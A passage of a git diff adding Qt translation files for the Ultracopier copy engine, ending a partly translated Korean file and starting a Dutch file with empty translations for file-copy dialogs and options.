+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation type="unfinished">원본 파일 읽기 불가:</translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation type="unfinished">파일 권한 전송</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation type="unfinished">파일 날짜 보존</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation type="unfinished">폴더 오류시</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation type="unfinished">폴더 충돌시</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation type="unfinished">대상 폴드 존재시 확인</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation type="unfinished">KB</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation type="unfinished">블럭 크기</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation>오류</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation>크기</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation>수정 날짜</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation>파일 이름</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation type="unfinished">대상</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation>아래에 놓기</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation>재시도</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;건너뛰기</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;취소</translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation>파일이 존재합니다</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>원본</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>대상</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation>크기</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation>수정 날짜</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation>파일 이름</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation>새 &amp;이름 제안</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation>&amp;이름 바꾸기</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation>&amp;덮어씌우기</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;건너뛰기</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;취소</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation>더 최신이면 덮어씌우기</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation>크기</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation>수정 날짜</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation>파일 이름</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation>새 &amp;이름 제안</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation>&amp;이름 바꾸기</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation>&amp;건너뛰기</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;취소</translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>원본</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>대상</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation>수정 날짜</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation>폴더 이름</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation>새 &amp;이름 제안</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation>&amp;이름 바꾸기</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation>합치기</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation>건너뛰기</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation>&amp;취소</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/nl/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/nl/translation.ts
new file mode 100644
index 0000000..3362659
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/nl/translation.ts
@@ -0,0 +1,1289 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
